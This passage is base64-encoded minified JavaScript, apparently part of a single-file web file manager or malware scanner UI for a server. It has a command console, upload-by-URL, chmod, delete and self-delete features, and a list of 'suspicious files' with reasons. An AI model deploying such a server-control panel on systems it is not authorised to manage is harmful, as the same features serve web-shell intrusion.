LFt7fV0pLCEwKTp0aGlzLl9jYWxsTWV0aG9kKHEsW2FdKX0saXNFbXB0eTpmdW5jdGlvbigpe3JldHVybiFsZSYmIU4/bnVsbDp0aGlzLl9jYWxsTWV0aG9kKEosYXJndW1lbnRzKX0saXNTZXQ6ZnVuY3Rpb24oKXtpZihhcmd1bWVudHMubGVuZ3RoPDEpdGhyb3cgbmV3IEVycm9yKCJNaW5pbXVtIDEgYXJndW1lbnQgbXVzdCBiZSBnaXZlbiIpO3JldHVybiFsZSYmIU4/bnVsbDp0aGlzLl9jYWxsTWV0aG9kKEcsYXJndW1lbnRzKX0sa2V5czpmdW5jdGlvbigpe3JldHVybiFsZSYmIU4/bnVsbDp0aGlzLl9jYWxsTWV0aG9kKHRlLGFyZ3VtZW50cyl9fTtpZihOKXt3aW5kb3cubmFtZXx8KHdpbmRvdy5uYW1lPU1hdGguZmxvb3IoTWF0aC5yYW5kb20oKSoxZTgpKTt2YXIgc2U9e19jb29raWU6ITAsX3ByZWZpeDoiIixfZXhwaXJlczpudWxsLF9wYXRoOm51bGwsX2RvbWFpbjpudWxsLF9zZWN1cmU6ITEsc2V0SXRlbTpmdW5jdGlvbihhLHApe0Nvb2tpZXMuc2V0KHRoaXMuX3ByZWZpeCthLHAse2V4cGlyZXM6dGhpcy5fZXhwaXJlcyxwYXRoOnRoaXMuX3BhdGgsZG9tYWluOnRoaXMuX2RvbWFpbixzZWN1cmU6dGhpcy5fc2VjdXJlfSl9LGdldEl0ZW06ZnVuY3Rpb24oYSl7cmV0dXJuIENvb2tpZXMuZ2V0KHRoaXMuX3ByZWZpeCthKX0scmVtb3ZlSXRlbTpmdW5jdGlvbihhKXtyZXR1cm4gQ29va2llcy5yZW1vdmUodGhpcy5fcHJlZml4K2Ese3BhdGg6dGhpcy5fcGF0aH0pfSxjbGVhcjpmdW5jdGlvbigpe3ZhciBhPUNvb2tpZXMuZ2V0KCk7Zm9yKHZhciBwIGluIGEpYS5oYXNPd25Qcm9wZXJ0eShwKSYmcCE9IiImJighdGhpcy5fcHJlZml4JiZwLmluZGV4T2YoZik9PT0tMSYmcC5pbmRleE9mKF8pPT09LTF8fHRoaXMuX3ByZWZpeCYmcC5pbmRleE9mKHRoaXMuX3ByZWZpeCk9PT0wKSYmQ29va2llcy5yZW1vdmUocCl9LHNldEV4cGlyZXM6ZnVuY3Rpb24oYSl7cmV0dXJuIHRoaXMuX2V4cGlyZXM9YSx0aGlzfSxzZXRQYXRoOmZ1bmN0aW9uKGEpe3JldHVybiB0aGlzLl9wYXRoPWEsdGhpc30sc2V0RG9tYWluOmZ1bmN0aW9uKGEpe3JldHVybiB0aGlzLl9kb21haW49YSx0aGlzfSxzZXRTZWN1cmU6ZnVuY3Rpb24oYSl7cmV0dXJuIHRoaXMuX3NlY3VyZT1hLHRoaXN9LHNldENvbmY6ZnVuY3Rpb24oYSl7cmV0dXJuIGEucGF0aCYmKHRoaXMuX3BhdGg9YS5wYXRoKSxhLmRvbWFpbiYmKHRoaXMuX2RvbWFpbj1hLmRvbWFpbiksYS5zZWN1cmUmJih0aGlzLl9zZWN1cmU9YS5zZWN1cmUpLGEuZXhwaXJlcyYmKHRoaXMuX2V4cGlyZXM9YS5leHBpcmVzKSx0aGlzfSxzZXREZWZhdWx0Q29uZjpmdW5jdGlvbigpe3RoaXMuX3BhdGg9dGhpcy5fZG9tYWluPXRoaXMuX2V4cGlyZXM9bnVsbCx0aGlzLl9zZWN1cmU9ITF9fTtsZXx8KHdpbmRvdy5sb2NhbENvb2tpZVN0b3JhZ2U9aih7fSxzZSx7X3ByZWZpeDpmLF9leHBpcmVzOjM2NSoxMCxfc2VjdXJlOiEwfSksd2luZG93LnNlc3Npb25Db29raWVTdG9yYWdlPWooe30sc2Use19wcmVmaXg6Xyt3aW5kb3cubmFtZSsiXyIsX3NlY3VyZTohMH0pKSx3aW5kb3cuY29va2llU3RvcmFnZT1qKHt9LHNlKSxjLmNvb2tpZVN0b3JhZ2U9aih7fSxuZSx7X3R5cGU6ImNvb2tpZVN0b3JhZ2UiLHNldEV4cGlyZXM6ZnVuY3Rpb24oYSl7cmV0dXJuIHdpbmRvdy5jb29raWVTdG9yYWdlLnNldEV4cGlyZXMoYSksdGhpc30sc2V0UGF0aDpmdW5jdGlvbihhKXtyZXR1cm4gd2luZG93LmNvb2tpZVN0b3JhZ2Uuc2V0UGF0aChhKSx0aGlzfSxzZXREb21haW46ZnVuY3Rpb24oYSl7cmV0dXJuIHdpbmRvdy5jb29raWVTdG9yYWdlLnNldERvbWFpbihhKSx0aGlzfSxzZXRTZWN1cmU6ZnVuY3Rpb24oYSl7cmV0dXJuIHdpbmRvdy5jb29raWVTdG9yYWdlLnNldFNlY3VyZShhKSx0aGlzfSxzZXRDb25mOmZ1bmN0aW9uKGEpe3JldHVybiB3aW5kb3cuY29va2llU3RvcmFnZS5zZXRDb25mKGEpLHRoaXN9LHNldERlZmF1bHRDb25mOmZ1bmN0aW9uKCl7cmV0dXJuIHdpbmRvdy5jb29raWVTdG9yYWdlLnNldERlZmF1bHRDb25mKCksdGhpc319KX1yZXR1cm4gYy5pbml0TmFtZXNwYWNlU3RvcmFnZT1mdW5jdGlvbihhKXtyZXR1cm4gdmUoYSl9LGxlPyhjLmxvY2FsU3RvcmFnZT1qKHt9LG5lLHtfdHlwZToibG9jYWxTdG9yYWdlIn0pLGMuc2Vzc2lvblN0b3JhZ2U9aih7fSxuZSx7X3R5cGU6InNlc3Npb25TdG9yYWdlIn0pKTooYy5sb2NhbFN0b3JhZ2U9aih7fSxuZSx7X3R5cGU6ImxvY2FsQ29va2llU3RvcmFnZSJ9KSxjLnNlc3Npb25TdG9yYWdlPWooe30sbmUse190eXBlOiJzZXNzaW9uQ29va2llU3RvcmFnZSJ9KSksYy5uYW1lc3BhY2VTdG9yYWdlcz17fSxjLnJlbW92ZUFsbFN0b3JhZ2VzPWZ1bmN0aW9uKGEpe2MubG9jYWxTdG9yYWdlLnJlbW92ZUFsbChhKSxjLnNlc3Npb25TdG9yYWdlLnJlbW92ZUFsbChhKSxjLmNvb2tpZVN0b3JhZ2UmJmMuY29va2llU3RvcmFnZS5yZW1vdmVBbGwoYSksYXx8KGMubmFtZXNwYWNlU3RvcmFnZXM9e30pfSxjLmFsd2F5c1VzZUpzb25JblN0b3JhZ2U9ZnVuY3Rpb24oYSl7bmUuYWx3YXlzVXNlSnNvbj1hLGMubG9jYWxTdG9yYWdlLmFsd2F5c1VzZUpzb249YSxjLnNlc3Npb25TdG9yYWdlLmFsd2F5c1VzZUpzb249YSxjLmNvb2tpZVN0b3JhZ2UmJihjLmNvb2tpZVN0b3JhZ2UuYWx3YXlzVXNlSnNvbj1hKX0sY30pfSkoWG8pO3ZhciBUZj1Yby5leHBvcnRzO2NvbnN0IG9lPXhmKFRmKSxZZT17V09SS0lOR19DSEFOR0VfQlk6IlVJX1dPUktJTkdfQ0hBTkdFX0JZIixTRVRfRVhQRVJUX01PREU6IlVJX1NFVF9FWFBFUlRfTU9ERSIsQUREX01FU1NBR0U6IlVJX0FERF9NRVNTQUdFIixDTEVBUl9NRVNTQUdFUzoiQ0xFQVJfTUVTU0FHRVMifSxHZT17QUREX0NPTU1BTkQ6IkNPTlNPTEVfQUREX0NPTU1BTkQiLEFERF9SRVNVTFQ6IkNPTlNPTEVfQUREX1JFU1VMVCIsTE9BRElOR19TVEFSVDoiQ09OU09MRV9MT0FESU5HX1NUQVJUIixMT0FESU5HX09LOiJDT05TT0xFX0xPQURJTkdfT0siLExPQURJTkdfRkFJTDoiQ09OU09MRV9MT0FESU5HX0ZBSUwifSxMPXtMT0FESU5HX09LOiJGSUxFU19MT0FESU5HX09LIixMT0FESU5HX0ZBSUw6IkZJTEVTX0xPQURJTkdfRkFJTCIsTE9BRElOR19TVEFSVDoiRklMRVNfTE9BRElOR19TVEFSVCIsU0VUOiJGSUxFU19TRVQiLEFERDoiRklMRVNfQUREIixVUERBVEU6IkZJTEVTX1VQREFURSIsUkVNT1ZFOiJGSUxFU19SRU1PVkUiLFNFVF9QQUdFOiJGSUxFU19TRVRfUEFHRSIsU0VUX1RPVEFMOiJGSUxFU19TRVRfVE9UQUwiLFNFVF9NQUlOX0lORk86IkZJTEVTX1NFVF9NQUlOX0lORk8iLFNFVF9DVVJSRU5UX0ZJTEU6IkZJTEVTX1NFVF9DVVJSRU5UX0ZJTEUiLFVOU0VUX0NVUlJFTlRfRklMRToiRklMRVNfVU5TRVRfQ1VSUkVOVF9GSUxFIixTRVRfQ1VSUl9GSUxFX0lEWDoiRklMRVNfU0VUX0NVUlJfRklMRV9JRFgiLFNFVF9TQ0FOX1NVQkRJUlM6IkZJTEVTX1NFVF9TQ0FOX1NVQkRJUlMiLFNFVF9PTkxZX0VYVDoiRklMRVNfU0VUX09OTFlfRVhUIixTRVRfV09SS0lOR19ESVI6IkZJTEVTX1NFVF9XT1JLSU5HX0RJUiIsU0VUX0ZJTFRFUl9NT0RFOiJGSUxFU19TRVRfRklMVEVSX01PREUiLFNFVF9SRVZFUlNFOiJGSUxFU19TRVRfUkVWRVJTRSIsU0VUX1NPUlRfS0VZOiJGSUxFU19TRVRfU09SVF9LRVkiLFNFVF9TRUFSQ0hfU1RSOiJGSUxFU19TRVRfU0VBUkNIX1NUUiIsTkVYVF9GSUxFOiJGSUxFU19ORVhUX0ZJTEUiLFBSRVZfRklMRToiRklMRVNfUFJFVl9GSUxFIixOT1JNQUxJWkVfRklMRVM6IkZJTEVTX05PUk1BTElaRV9GSUxFUyJ9LEFmPXtuYW1lOiJNYWluU2NyZWVuIixjb21wb25lbnRzOntNZXNzYWdlQm94OllvLEZpbGVTb3VyY2VEaWFsb2c6cW8sQ29uc29sZUJveDpKb30sZGF0YTpmdW5jdGlvbigpe3JldHVybnt0YWJsZTp7Y29sdW1uczp7ZnVsbF9wYXRoOlsiUGF0aCIsInRocmVlIHRleHQtb3ZlcmZsb3ciXSwiICI6WyJbMTIzMTMyMTMyMTMyMTMyXSIsInR3byBjZW50IG5vLXRleHQiXSx0eXBlOlsiVHlwZSIsIm9uZSBjZW50Il0sbWltZV90eXBlOlsiTUlNRSIsIm9uZSBjZW50Il0sbWVzc2FnZTpbIlJlYXNvbiIsInR3byBjZW50Il0sb3duZXI6WyJPd25lciIsIm9uZSBjZW50Il0scGVybWlzc2lvbnM6WyJQZXJtaXNzaW9ucyIsIm9uZSBjZW50Il0sc2l6ZTpbIlNpemUiLCJvbmUgY2VudCJdLGxhc3RfYWNjZXNzZWQ6WyJhdGltZSIsIm9uZSBjZW50Il0sbGFzdF9tb2RpZmllZDpbIm10aW1lIiwib25lIGNlbnQiXX19LHNob3dEaXJlY3RvcmllczpvZS5sb2NhbFN0b3JhZ2UuaXNTZXQoIk1haW46c2hvd0RpcmVjdG9yaWVzIik/b2UubG9jYWxTdG9yYWdlLmdldCgiTWFpbjpzaG93RGlyZWN0b3JpZXMiKTohMCxjaGVja2VkX2ZpbGVzOltdLGZpbGVzX3RvX3VwbG9hZDpbXSxib3R0b21fcGFuZWxfbW9kZTpvZS5sb2NhbFN0b3JhZ2UuaXNTZXQoIk1haW46Ym90dG9tUGFuZWxNb2RlIik/b2UubG9jYWxTdG9yYWdlLmdldCgiTWFpbjpib3R0b21QYW5lbE1vZGUiKToibG9nIixvd25lcjoiIixvd25lcl9pZDotMSxleHRlbnNzaW9uczpbXSxkYl9zaXplOjAsd3JpdGFibGU6ITEsbWtkaXJfZGlhbG9nX3Zpc2libGU6ITEsdXBsb2FkX2J5X3VybF9kaWFsb2dfdmlzaWJsZTohMSxta2ZpbGVfZGlhbG9nX3Zpc2libGU6ITEsY2htb2RfZGlhbG9nX3Zpc2libGU6ITEsdXBsb2FkX3VybDoiIixtb2RfbmFtZToiIixjaG1vZF92YWx1ZToiIixzb3VyY2VfZGlhbG9nX21vZGU6InNob3ciLGhlcmVfd2VfZ286IiIsYmVpbmdfZWRpdGVkX2ZpbGU6bnVsbCxyZW5hbWVfbmV3X25hbWU6IiIsbV9maWxlczpbXSxjb3BpZWRfZmlsZTpudWxsfX0sd2F0Y2g6e2JvdHRvbV9wYW5lbF9tb2RlOmZ1bmN0aW9uKCl7b2UubG9jYWxTdG9yYWdlLnNldCgiTWFpbjpib3R0b21QYW5lbE1vZGUiLHRoaXMuYm90dG9tX3BhbmVsX21vZGUpfSxzaG93RGlyZWN0b3JpZXM6ZnVuY3Rpb24oKXtvZS5sb2NhbFN0b3JhZ2Uuc2V0KCJNYWluOnNob3dEaXJlY3RvcmllcyIsdGhpcy5zaG93RGlyZWN0b3JpZXMpfX0sY29tcHV0ZWQ6e2N1cnJlbnRJbmRleFBhZ2U6ZnVuY3Rpb24oKXtsZXQgZT0iIjtyZXR1cm4gdGhpcy4kc3RvcmUuc3RhdGUuZmlsZXMuaHR0cHM9PT0ib24iPyhlKz0iaHR0cHM6Ly8iK3RoaXMuJHN0b3JlLnN0YXRlLmZpbGVzLnNlcnZlcl9uYW1lLGUrPXRoaXMuJHN0b3JlLnN0YXRlLmZpbGVzLnNlcnZlcl9wb3J0KjE9PT00NDM/IiI6IjoiK3RoaXMuJHN0b3JlLnN0YXRlLmZpbGVzLnNlcnZlcl9wb3J0KTooZSs9Imh0dHA6Ly8iK3RoaXMuJHN0b3JlLnN0YXRlLmZpbGVzLnNlcnZlcl9uYW1lLGUrPXRoaXMuJHN0b3JlLnN0YXRlLmZpbGVzLnNlcnZlcl9wb3J0KjE9PT04MD8iIjoiOiIrdGhpcy4kc3RvcmUuc3RhdGUuZmlsZXMuc2VydmVyX3BvcnQpLGV9LHdvcmtpbmc6ZnVuY3Rpb24oKXtyZXR1cm4gdGhpcy4kc3RvcmUuc3RhdGUuVUkud29ya2luZ30sdGl0bGU6ZnVuY3Rpb24oKXtyZXR1cm4gdGhpcy4kc3RvcmUuc3RhdGUuZmlsZXMudGl0bGV9LHZlcnNpb246ZnVuY3Rpb24oKXtyZXR1cm4gdGhpcy4kc3RvcmUuc3RhdGUuZmlsZXMudmVyc2lvbn0sd29ya2luZ19kaXJlY3Rvcnk6ZnVuY3Rpb24oKXtyZXR1cm4gdGhpcy4kc3RvcmUuc3RhdGUuZmlsZXMud29ya2luZ19kaXJlY3Rvcnl9LHBhcmVudERpcnM6ZnVuY3Rpb24oKXtsZXQgZT10aGlzLndvcmtpbmdfZGlyZWN0b3J5LnNwbGl0KHRoaXMuJHN0b3JlLnN0YXRlLmZpbGVzLmRpcmVjdG9yeV9zZXBhcmF0b3IpLHQ9W107Zm9yKDtlLmxlbmd0aD4wOyl7bGV0IG49e307aWYobi5wYXRoPWUuam9pbigiLyIpLG4ucGF0aD09PSIiKWJyZWFrO24ubmFtZT1lLnBvcCgpLHQucHVzaChuKX1yZXR1cm4gdC5yZXZlcnNlKCl9LGZpbHRlck1vZGU6e2dldDpmdW5jdGlvbigpe3JldHVybiB0aGlzLiRzdG9yZS5zdGF0ZS5maWxlcy5maWx0ZXJNb2RlfSxzZXQ6ZnVuY3Rpb24oZSl7dGhpcy4kc3RvcmUuY29tbWl0KCJmaWxlcy8iK0wuU0VUX0ZJTFRFUl9NT0RFLGUpfX0sZmlsdGVyZWREaXJzOmZ1bmN0aW9uKCl7cmV0dXJuIHRoaXMuJHN0b3JlLmdldHRlcnNbImZpbGVzL2ZpbHRlcmVkRGlycyJdfSxmaWx0ZXJlZEZpbGVzOmZ1bmN0aW9uKCl7cmV0dXJuIHRoaXMuJHN0b3JlLmdldHRlcnNbImZpbGVzL2ZpbHRlcmVkRmlsZXMiXX0sb25seUZpbGVzOmZ1bmN0aW9uKCl7cmV0dXJuIHRoaXMuJHN0b3JlLmdldHRlcnNbImZpbGVzL29ubHlGaWxlcyJdfSxzZWxlY3RlZEZpbGU6ZnVuY3Rpb24oKXtyZXR1cm4gdGhpcy4kc3RvcmUuc3RhdGUuZmlsZXMuc2VsZWN0ZWRfZmlsZX0sZmlsZUluZGV4OmZ1bmN0aW9uKCl7cmV0dXJuIHRoaXMuJHN0b3JlLnN0YXRlLmZpbGVzLmZpbGVfaW5kZXh9LHN1c3BpY2lvdXNGaWxlczpmdW5jdGlvbigpe3JldHVybiB0aGlzLiRzdG9yZS5nZXR0ZXJzWyJmaWxlcy9zdXNwaWNpb3VzRmlsZXMiXX0scmV2ZXJzZTp7c2V0OmZ1bmN0aW9uKGUpe3RoaXMuJHN0b3JlLmNvbW1pdChMLlNFVF9SRVZFUlNFLGUpfSxnZXQ6ZnVuY3Rpb24oKXtyZXR1cm4gdGhpcy4kc3RvcmUuc3RhdGUuZmlsZXMucmV2ZXJzZX19LHNvcnRfa2V5OntzZXQ6ZnVuY3Rpb24oZSl7dGhpcy4kc3RvcmUuY29tbWl0KCJmaWxlcy8iK0wuU0VUX1NPUlRfS0VZLGUpfSxnZXQ6ZnVuY3Rpb24oKXtyZXR1cm4gdGhpcy4kc3RvcmUuc3RhdGUuZmlsZXMuc29ydF9rZXl9fSxzZWFyY2hfc3RyaW5nOntzZXQ6ZnVuY3Rpb24oZSl7dGhpcy4kc3RvcmUuY29tbWl0KCJmaWxlcy8iK0wuU0VUX1NFQVJDSF9TVFIsZSl9LGdldDpmdW5jdGlvbigpe3JldHVybiB0aGlzLiRzdG9yZS5zdGF0ZS5maWxlcy5zZWFyY2hfc3RyaW5nfX0sc2NhblN1YmRpcnM6e3NldDpmdW5jdGlvbihlKXt0aGlzLiRzdG9yZS5jb21taXQoImZpbGVzLyIrTC5TRVRfU0NBTl9TVUJESVJTLGUpfSxnZXQ6ZnVuY3Rpb24oKXtyZXR1cm4gdGhpcy4kc3RvcmUuc3RhdGUuZmlsZXMuc2NhblN1YmRpcnN9fSxzaG93T25seUV4dDp7c2V0OmZ1bmN0aW9uKGUpe3RoaXMuJHN0b3JlLmNvbW1pdCgiZmlsZXMvIitMLlNFVF9PTkxZX0VYVCxlKX0sZ2V0OmZ1bmN0aW9uKCl7cmV0dXJuIHRoaXMuJHN0b3JlLnN0YXRlLmZpbGVzLnNob3dPbmx5RXh0fX19LG1vdW50ZWQ6ZnVuY3Rpb24oKXt3aW5kb3cuYWRkRXZlbnRMaXN0ZW5lcigia2V5ZG93biIsZT0+e3RoaXMua2V5Ym9hcmRIYW5kbGVyKGUpfSksdGhpcy5nZXRNYWluSW5mbygpfSxtZXRob2RzOntyZXNldERpYWxvZ3MoKXt0aGlzLm1vZF9uYW1lPSIiLHRoaXMudXBsb2FkX3VybD0iIix0aGlzLm1rZGlyX2RpYWxvZ192aXNpYmxlPSExLHRoaXMudXBsb2FkX2J5X3VybF9kaWFsb2dfdmlzaWJsZT0hMSx0aGlzLm1rZmlsZV9kaWFsb2dfdmlzaWJsZT0hMSx0aGlzLmNobW9kX2RpYWxvZ192aXNpYmxlPSExfSxicm93c2VyUGF0aChlKXtyZXR1cm4gZS5yZXBsYWNlKHRoaXMuJHN0b3JlLnN0YXRlLmZpbGVzLnJvb3RfZGlyZWN0b3J5LHRoaXMuY3VycmVudEluZGV4UGFnZSl9LG1rRGlyOmZ1bmN0aW9uKCl7dGhpcy5tb2RfbmFtZSE9PSIiJiZ0aGlzLiRzdG9yZS5kaXNwYXRjaCgiZmlsZXMvbWtEaXIiLHRoaXMubW9kX25hbWUpfSxzaG93TWtEaXI6ZnVuY3Rpb24oKXt0aGlzLnJlc2V0RGlhbG9ncygpLHRoaXMubWtkaXJfZGlhbG9nX3Zpc2libGU9ITB9LG1rRmlsZTpmdW5jdGlvbigpe3RoaXMubW9kX25hbWUhPT0iIiYmdGhpcy4kc3RvcmUuZGlzcGF0Y2goImZpbGVzL21rRmlsZSIsdGhpcy5tb2RfbmFtZSl9LHNob3dNa0ZpbGU6ZnVuY3Rpb24oKXt0aGlzLnJlc2V0RGlhbG9ncygpLHRoaXMubWtmaWxlX2RpYWxvZ192aXNpYmxlPSEwfSxzaG93Q2htb2Q6ZnVuY3Rpb24oKXt0aGlzLnJlc2V0RGlhbG9ncygpLHRoaXMuY2htb2RfdmFsdWU9dGhpcy4kc3RvcmUuc3RhdGUuZmlsZXMucGVybXMsdGhpcy5jaG1vZF9kaWFsb2dfdmlzaWJsZT0hMH0sY2htb2RDdXJEaXI6ZnVuY3Rpb24oKXt0aGlzLiRzdG9yZS5kaXNwYXRjaCgiZmlsZXMvIil9LHVwbG9hZEJ5VVJMOmZ1bmN0aW9uKCl7dGhpcy5tb2RfbmFtZSE9PSIiJiZ0aGlzLnVwbG9hZF91cmwhPT0iIiYmdGhpcy4kc3RvcmUuZGlzcGF0Y2goImZpbGVzL3VwbG9hZEJ5VXJsIix7ZmlsZV9uYW1lOnRoaXMubW9kX25hbWUsdXJsOnRoaXMudXBsb2FkX3VybH0pfSxzaG93VXBsb2FkQnlVUkw6ZnVuY3Rpb24oKXt0aGlzLnJlc2V0RGlhbG9ncygpLHRoaXMudXBsb2FkX2J5X3VybF9kaWFsb2dfdmlzaWJsZT0hMH0sa2V5Ym9hcmRIYW5kbGVyOmZ1bmN0aW9uKGUpe3N3aXRjaChjb25zb2xlLmxvZyhlKSxlLmNvZGUpe2Nhc2UiQXJyb3dVcCI6ZS5jdHJsS2V5JiZ0aGlzLndvcmtpbmdfZGlyZWN0b3J5IT09Ii8iJiYodGhpcy5zZXREaXJlY3RvcnkodGhpcy53b3JraW5nX2RpcmVjdG9yeSsiLy4uIiksZS5zdG9wUHJvcGFnYXRpb24oKSxlLnByZXZlbnREZWZhdWx0KCkpO2JyZWFrO2Nhc2UiS2V5UiI6ZS5hbHRLZXkmJih0aGlzLmdldE1haW5JbmZvKCksZS5zdG9wUHJvcGFnYXRpb24oKSxlLnByZXZlbnREZWZhdWx0KCkpO2JyZWFrO2Nhc2UiS2V5RiI6ZS5hbHRLZXkmJih0aGlzLiRuZXh0VGljaygoKT0+e3RoaXMuJHJlZnMuc2VhcmNoX3N0cmluZy5mb2N1cygpLHRoaXMuJHJlZnMuc2VhcmNoX3N0cmluZy5zZWxlY3QoKX0pLGUuc3RvcFByb3BhZ2F0aW9uKCksZS5wcmV2ZW50RGVmYXVsdCgpKTticmVhaztjYXNlIktleUciOmUuYWx0S2V5JiYodGhpcy4kbmV4dFRpY2soKCk9Pnt0aGlzLiRyZWZzLmhlcmVfd2VfZ28uZm9jdXMoKSx0aGlzLiRyZWZzLmhlcmVfd2VfZ28uc2VsZWN0KCl9KSxlLnN0b3BQcm9wYWdhdGlvbigpLGUucHJldmVudERlZmF1bHQoKSk7YnJlYWt9fSx1cGxvYWRGaWxlczpmdW5jdGlvbigpe2xldCBlPW5ldyBGb3JtRGF0YTtpZih0aGlzLmZpbGVzX3RvX3VwbG9hZD10aGlzLiRyZWZzLmZpbGVzX2lucHV0LmZpbGVzLCEhdGhpcy5maWxlc190b191cGxvYWQpe2ZvcihsZXQgdD0wO3Q8dGhpcy5maWxlc190b191cGxvYWQubGVuZ3RoO3QrKyllLmFwcGVuZCgiZmlsZXNbXSIsdGhpcy5maWxlc190b191cGxvYWRbdF0pO3RoaXMuJHN0b3JlLmRpc3BhdGNoKCJmaWxlcy91cGxvYWRGaWxlcyIsZSl9fSxoZXJlV2VHbzpmdW5jdGlvbihlKXt0aGlzLmN1cnJlbnRfZmlsZV9pbmRleD1udWxsLGVbMF0hPT0iLyI/dGhpcy5zZXREaXJlY3RvcnkodGhpcy53b3JraW5nX2RpcmVjdG9yeSsiLyIrZSk6dGhpcy5zZXREaXJlY3RvcnkoZSl9LHNldERpcmVjdG9yeTpmdW5jdGlvbihlKXt0aGlzLiRzdG9yZS5kaXNwYXRjaCgiZmlsZXMvc2V0V29ya2luZ0RpcmVjdG9yeSIsZSl9LG5vd1NvcnQ6ZnVuY3Rpb24oZSl7dGhpcy4kc3RvcmUuc3RhdGUuZmlsZXMuc29ydF9rZXk9PT1lPyh0aGlzLnRhYmxlLnJldmVyc2U9LTEqdGhpcy50YWJsZS5yZXZlcnNlLHRoaXMuJHN0b3JlLmNvbW1pdCgiZmlsZXMvIitMLlNFVF9SRVZFUlNFLHRoaXMuJHN0b3JlLnN0YXRlLmZpbGVzLnJldmVyc2UqLTEpKToodGhpcy50YWJsZS5zb3J0X2tleT1lLHRoaXMuJHN0b3JlLmNvbW1pdCgiZmlsZXMvIitMLlNFVF9TT1JUX0tFWSxlKSx0aGlzLiRzdG9yZS5jb21taXQoImZpbGVzLyIrTC5TRVRfUkVWRVJTRSwxKSl9LGdldE1haW5JbmZvOmZ1bmN0aW9uKCl7dGhpcy4kc3RvcmUuZGlzcGF0Y2goImZpbGVzL2dldE1haW5JbmZvIil9LGdldEZpbGVzOmZ1bmN0aW9uKCl7dGhpcy4kc3RvcmUuZGlzcGF0Y2goImZpbGVzL2dldEZpbGVzIil9LG5leHRGaWxlOmZ1bmN0aW9uKCl7dGhpcy4kc3RvcmUuZGlzcGF0Y2goImZpbGVzL25leHRGaWxlIil9LHByZXZGaWxlOmZ1bmN0aW9uKCl7dGhpcy4kc3RvcmUuZGlzcGF0Y2goImZpbGVzL3ByZXZGaWxlIil9LGRvd25sb2FkRmlsZTpmdW5jdGlvbihlKXtsZXQgdD1PZS5hcGlfdXJsKyI/dGFzaz1maWxlLWRvd25sb2FkJmZpbGU9Iit0aGlzLmZpbHRlcmVkRmlsZXNbZV0uZnVsbF9wYXRoO2ZldGNoKHQpLnRoZW4obj0+e2lmKCFuLm9rKXRocm93IG5ldyBFcnJvcigiTmV0d29yayByZXNwb25zZSB3YXMgbm90IG9rIik7cmV0dXJuIG4uYmxvYigpfSkudGhlbihuPT57Y29uc3Qgcz1VUkwuY3JlYXRlT2JqZWN0VVJMKG4pLG89ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgiYSIpO28uaHJlZj1zLG8uc2V0QXR0cmlidXRlKCJkb3dubG9hZCIsdGhpcy5maWx0ZXJlZEZpbGVzW2VdLmJhc2VfbmFtZSksZG9jdW1lbnQuYm9keS5hcHBlbmRDaGlsZChvKSxvLmNsaWNrKCksZG9jdW1lbnQuYm9keS5yZW1vdmVDaGlsZChvKX0pLmNhdGNoKG49Pntjb25zb2xlLmVycm9yKCJUaGVyZSBoYXMgYmVlbiBhIHByb2JsZW0gd2l0aCB5b3VyIGZldGNoIG9wZXJhdGlvbjoiLG4pfSl9LG9wZW5GaWxlOmZ1bmN0aW9uKGUsdCl7dD90aGlzLnNvdXJjZV9kaWFsb2dfbW9kZT10OnRoaXMuc291cmNlX2RpYWxvZ19tb2RlPSJzaG93Iix0aGlzLiRzdG9yZS5kaXNwYXRjaCgiZmlsZXMvc2V0Q3VycmVudEZpbGUiLHRoaXMuZmlsdGVyZWRGaWxlc1tlXSl9LGNsb3NlRmlsZTpmdW5jdGlvbigpe3RoaXMuJHN0b3JlLmRpc3BhdGNoKCJmaWxlcy91blNldEN1cnJlbnRGaWxlIil9LGRlbGV0ZUZpbGU6ZnVuY3Rpb24oZSl7dGhpcy4kc3RvcmUuZGlzcGF0Y2goImZpbGVzL2RlbGV0ZUZpbGUiLGUpfSxkZWxldGVNRmlsZXM6ZnVuY3Rpb24oKXt0aGlzLiRzdG9yZS5kaXNwYXRjaCgiZmlsZXMvZGVsZXRlTUZpbGVzIix0aGlzLm1fZmlsZXMpfSxyZW5hbWVGaWxlOmZ1bmN0aW9uKGUpe3RoaXMuJHN0b3JlLmRpc3BhdGNoKCJmaWxlcy9yZW5hbWVGaWxlIix7ZmlsZTplLG5ld19uYW1lOnRoaXMud29ya2luZ19kaXJlY3RvcnkrIi8iK3RoaXMucmVuYW1lX25ld19uYW1lfSl9fX0sUGU9ZT0+KGZvKCJkYXRhLXYtYTAyNjg3NzQiKSxlPWUoKSxobygpLGUpLE1mPXtpZDoibGF5b3V0In0sTGY9e2NsYXNzOiJzaWRlLXRpdGxlIn0sRmY9e2hyZWY6Ii8iLGNsYXNzOiJyb3V0ZXItbGluay1hY3RpdmUifSxEZj17Y2xhc3M6InRpdGxlIn0sJGY9UGUoKCk9PmQoImEiLHtjbGFzczoic2Vjb25kIixocmVmOiI/dGFzaz1kZWxldGUtbWUifSxbZCgic3BhbiIsbnVsbCwieF94IildLC0xKSksUmY9e2NsYXNzOiJsZHMtZHVhbC1yaW5nIn0sTmY9e2NsYXNzOiJwYWdlLWNvbnRlbnQifSxQZj17aWQ6ImxpbmtMaXN0In0sVWY9WyJvbkNsaWNrIl0sSGY9e2tleTowLGNsYXNzOiJyZWQiLHRpdGxlOiJXb3JraW5nIGRpcmVjdG9yeSBpcyByZWFkb25seSJ9LFZmPXtrZXk6MSxjbGFzczoiZ3JlZW4iLHRpdGxlOiJXb3JraW5nIGRpcmVjdG9yeSBpcyB3cml0ZWFibGUifSxqZj17a2V5OjB9LEJmPXtmb3I6ImZpbGVzIn0sR2Y9e2tleTowfSxLZj17a2V5OjB9LHpmPVBlKCgpPT5kKCJsYWJlbCIse2Zvcjoib3ZlcndyaXRlIn0sW2QoImlucHV0Iix7aWQ6Im92ZXJ3cml0ZSIsdHlwZToiY2hlY2tib3gifSksUCgib3ZlcndyaXRlIildLC0xKSksV2Y9e2tleTowfSxKZj17Y2xhc3M6Im9uZSByaWdodCJ9LFlmPXtjbGFzczoib25lIHJlZCByaWdodCJ9LHFmPXtjbGFzczoib25lIHJpZ2h0In0sWGY9e2NsYXNzOiJvbmUgcmlnaHQifSxaZj1bImhyZWYiXSxRZj1bImhyZWYiXSxlZD17Y2xhc3M6InVpLWhlYWRlciJ9LHRkPXtjbGFzczoic3RvbmVkIHNjcm9sbC1wYWRkZWQgaGVhZGVyIn0sbmQ9e2NsYXNzOiJoZWFkZXItY29sdW1ucyJ9LHNkPXtrZXk6MCxjbGFzczoiY2VudCBvbmUifSxyZD17a2V5OjEsY2xhc3M6Im9uZSBjZW50In0sb2Q9WyJvbkNsaWNrIiwiaW5u